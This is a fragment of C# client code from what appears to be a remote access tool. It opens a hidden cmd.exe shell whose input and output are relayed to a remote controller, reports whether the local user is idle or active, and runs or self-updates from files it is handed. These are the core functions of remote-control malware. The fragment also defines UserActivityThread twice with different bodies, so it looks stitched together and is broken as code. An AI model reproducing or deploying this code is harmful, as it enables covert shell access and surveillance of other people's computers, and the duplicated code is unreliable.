/// <summary>
/// Creates a new session of the shell.
/// </summary>
private void CreateSession()
{
lock (_readLock)
{
_read = true;
}
var cultureInfo = CultureInfo.InstalledUICulture;
_encoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage);
_prc = new Process
{
StartInfo = new ProcessStartInfo("cmd")
{
UseShellExecute = false,
CreateNoWindow = true,
RedirectStandardInput = true,
RedirectStandardOutput = true,
RedirectStandardError = true,
StandardOutputEncoding = _encoding,
StandardErrorEncoding = _encoding,
WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)),
Arguments = $"/K CHCP {_encoding.CodePage}"
}
};
_prc.Start();
RedirectIO();
_client.Send(new DoShellExecuteResponse
{
Output = "\n>> New Session created\n"
});
}
/// <summary>
/// Checks for user activity changes sends <see cref="SetUserStatus"/> to the <see cref="_client"/> on change.
/// </summary>
private void UserActivityThread()
{
while (!_token.WaitHandle.WaitOne(10))
{
if (IsUserIdle())
{
if (_lastUserStatus != UserStatus.Idle)
{
_lastUserStatus = UserStatus.Idle;
_client.Send(new SetUserStatus {
Message = _lastUserStatus
});
}
}
else
{
if (_lastUserStatus != UserStatus.Active)
{
_lastUserStatus = UserStatus.Active;
_client.Send(new SetUserStatus {
Message = _lastUserStatus
});
}
}
}
}
/// <summary>
/// Checks for user activity changes sends <see cref="SetUserStatus"/> to the <see cref="_client"/> on change.
/// </summary>
private void UserActivityThread()
{
try
{
if (IsUserIdle())
{
if (_lastUserStatus != UserStatus.Idle)
{
_lastUserStatus = UserStatus.Idle;
_client.Send(new SetUserStatus {
Message = _lastUserStatus
});
}
}
else
{
if (_lastUserStatus != UserStatus.Active)
{
_lastUserStatus = UserStatus.Active;
_client.Send(new SetUserStatus {
Message = _lastUserStatus
});
}
}
}
catch (Exception e) when(e is NullReferenceException || e is ObjectDisposedException)
{
}
}
private void ExecuteProcess(string filePath, bool isUpdate)
{
if (isUpdate)
{
try
{
var clientUpdater = new ClientUpdater();
clientUpdater.Update(filePath);
_client.Exit();
}
catch (Exception ex)
{
NativeMethods.DeleteFile(filePath);
_client.Send(new SetStatus {
Message = $"Update failed: {ex.Message}"
});
}
}
else
{
try
{
ProcessStartInfo startInfo = new ProcessStartInfo
{
UseShellExecute = true,
FileName = filePath
};
Process.Start(startInfo);
_client.Send(new DoProcessResponse {
Action = ProcessAction.Start, Result = true
});
}
catch (Exception)
{
_client.Send(new DoProcessResponse {
Action = ProcessAction.Start, Result = false
});
}
}
}